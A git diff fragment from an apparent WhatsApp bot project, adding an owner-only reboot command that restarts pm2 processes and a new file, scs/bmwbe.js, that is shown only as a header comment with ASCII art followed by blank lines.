+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {adams}=require("../Ibrahim/adams")
+
+
+
+
+
+
+
+adams({nomCom:"reboot",categorie:"Mods",reaction:"👨🏿💼"},async(dest,z,com)=>{
+
+
+
+const{repondre,ms,dev,superUser}=com;
+
+ if(!superUser)
+ {
+ return repondre("This command is for owner only");
+ }
+
+ const {exec}=require("child_process")
+
+ repondre("*restarting ...*");
+
+ exec("pm2 restart all");
+
+
+
+
+
+
+})
diff --git a/scs/bmwbe.js b/scs/bmwbe.js
new file mode 100644
index 0000000..7cd1626
--- /dev/null
+++ b/scs/bmwbe.js
@@ -0,0 +1,15321 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
